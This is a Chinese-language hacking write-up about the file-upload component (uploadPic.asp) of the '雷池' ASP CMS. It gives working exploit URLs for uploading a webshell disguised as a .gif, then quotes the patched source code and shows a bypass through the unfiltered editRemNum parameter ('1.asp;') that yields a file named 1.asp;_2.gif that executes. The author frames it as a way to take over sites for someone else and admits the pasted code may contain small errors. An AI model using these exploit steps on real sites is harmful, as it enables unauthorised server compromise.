某日一人叫我拿幾個站發現都有打了補丁的雷池,後來偶然間看了看代碼,遂有此文
以下是雷池上傳的介紹
==========================================
假如雷池的上傳文件uploadPic.asp在admin目錄下即admin/uploadPic.asp
那麼我們可以這樣利用漏洞:
在瀏覽器中輸入:http://www.xxxx.com/admin/uploadPic.asp?actionType=mod& picName=webshell.asp出現上傳的地方.把我們的馬改成以.gif結尾的文件,上傳就可以得到一個名爲webshell.asp的 webshell了!
注意,我們上傳的webshell到底怎麼知道上傳在哪裏去了呢?
我們可以這樣來找,我們查看改網站發表的文章,這裏我們可以看到加了圖片的文章,我們右鍵圖片,查看屬性,就可以知道上傳的木馬在哪個目錄了,我們的木馬應該就是http://www.xxxx.com/admin/upload/webshell.asp
================================
打了補丁後似乎是過濾了%和.只類的符號,也就是說定義文件名是1.ASP時,返回文件名是1asp.gif
dim upload_code,remNum,remFileName,editImageNum,actionType,editRemNum
upload_code = trim(Request.QueryString("upload_code"))
editImageNum = trim(Request.QueryString("editImageNum"))
actionType = trim(Request.QueryString("actionType"))
picName = trim(Request.QueryString("picName"))
editRemNum = trim(Request.QueryString("editRemNum"))
if actionType= "mod" then
picName = Right(picName,InstrRev(picName,"/")-1)
end if
if upload_code = "ok" then
'獲取文章中的圖片
dim upload,file,formName,formPath,iCount
formPath="../uppic/"
.........
else
if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數據
'生成圖片名字
if actionType= "mod" then
remFileName = replace(Right(picName,len(picName)-InstrRev(picName,"/")),".","")&".gif"
else
if editRemNum<>"" then
remNum = editRemNum
else
Randomize
remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
end if
remFileName = remNum&"_"&(editImageNum+1)&".gif"
end if
file.SaveAs Server.mappath(formPath&remFileName) ''保存文件
Response.Write(formPath&remFileName)
可以看出editRemNum不爲空時remFileName = remNum&"_"&(editImageNum+1)&".gif"
然而在接受參數時 但沒有進行過濾 於是構造uploadPic.asp?actionType=od&editRemNum=1.asp;& upload_code=ok&editImageNum=1
得到一個名爲1.asp;_2.gif的WEBSHELL
?文章內容,具體代碼可能有小誤差,沒仔細看,有時間再修改,文章是直接ctrl+c,ctrl+v的,見諒?